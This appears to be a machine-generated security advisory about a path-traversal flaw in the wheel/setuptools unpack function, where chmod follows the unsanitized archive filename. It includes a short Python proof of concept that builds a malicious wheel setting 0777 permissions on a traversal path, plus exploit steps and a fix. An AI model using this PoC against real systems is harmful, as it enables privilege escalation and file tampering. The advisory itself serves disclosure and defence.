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The vulnerability exists in the `wheel.cli.unpack.unpack` function, which is also present in setuptools’ vendored copy. When extracting a wheel (.whl) file, the function performs two steps for each archived file. First, it uses ZipFile.extract(), which safely sanitizes path traversal sequences like “../”. However, immediately after, the code retrieves the intended file permissions from the archive metadata and applies them using chmod. Crucially, it constructs the path for `chmod` using the original, unsanitized filename (zinfo.filename) from the archive header. An attacker can craft a malicious wheel file that lists a target system file (e.g., “../../etc/passwd”) in its internal RECORD (which passes hash validation) and sets its permissions to 0777. When this wheel is unpacked, the `extract()` call safely fails or places the payload in a sanitized location, but the subsequent `chmod` operation follows the unsanitized path and changes the permissions of the actual targeted system file to world-writable, enabling further compromise.
Platform: Python wheel/setuptools
Version: Vulnerable versions
Vulnerability: Path traversal chmod
Severity: High
date:
Prediction:
What Undercode Say:
pip install setuptools python gen_poc.py python exploit.py
import zipfile import hashlib import base64 def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"): malicious_path = "../../poc_target.txt" payload_content = b"PWNED" with zipfile.ZipFile(filename, "w") as zf: zinfo = zipfile.ZipInfo(malicious_path) zinfo.external_attr = (0o100000 | 0o777) << 16 zf.writestr(zinfo, payload_content)
How Exploit:
- Create malicious wheel with traversal path in RECORD.
2. Target file permissions set via external_attr.
3. Call unpack() on the wheel.
4. Vulnerable chmod modifies system file.
Protection from this CVE
Apply chmod to extract()’s returned path, not zinfo.filename.
Impact:
Arbitrary file permission change.
Privilege escalation possible.
System file integrity loss.
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Sources:
Reported By: github.com
Extra Source Hub:
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